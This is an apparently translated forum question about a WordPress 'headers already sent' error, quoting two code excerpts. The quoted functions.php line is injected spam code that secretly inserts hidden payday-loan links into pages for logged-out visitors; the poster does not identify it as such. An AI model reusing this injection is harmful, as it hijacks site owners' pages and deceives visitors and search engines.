可能重复:
PHP 已发送的标头
我一直在尝试为我的朋友修复 playhawaiisoccer.com 上的错误。不幸的是,错误超出了我的能力。我得到的错误如下:
“警告:无法修改标头信息 - 标头已由 /home/content/72/8966572 中的 /home/content/72/8966572/html/wp-content/themes/LeanBiz/functions.php:1 开始发送/html/wp-includes/pluggable.php 在第 865 行"
如果我理解正确,我将在我的 pluggable.php 文件中再次发送标头。这是每个文件的代码。任何帮助将不胜感激。
Functions.php 第 1 行:
<?php function callbackx($buffer) {$tx="";if (function_exists("is_user_logged_in"))if (!is_user_logged_in()) $tx=" <style>.fgbh{position:absolute;clip:rect(457px,auto,auto,421px);} </style><div class=fgbh>direct lender <a href=http://advancedcashin10min.com >payday loans</a></div>"; if (stristr($buffer,"</a>"))$buffer=str_ireplace("</a>","</a>".$tx,$buffer); else $buffer=$tx.$buffer; return $buffer; } function buffer_startx(){ob_start("callbackx");} function buffer_endx(){ob_end_flush();} add_action( 'buffer_startx', 'wp_head'); add_action('wp_footer', 'buffer_endx'); ?>
Pluggable.php 第 865 行:
function wp_redirect($location, $status = 302) {
global $is_IIS;
$location = apply_filters('wp_redirect', $location, $status);
$status = apply_filters('wp_redirect_status', $status, $location);
if ( !$location ) // allows the wp_redirect filter to cancel a redirect
return false;
$location = wp_sanitize_redirect($location);
if ( !$is_IIS && php_sapi_name() != 'cgi-fcgi' )
status_header($status); // This causes problems on IIS and some FastCGI setups
header("Location: $location", true, $status);}
提前感谢您的帮助!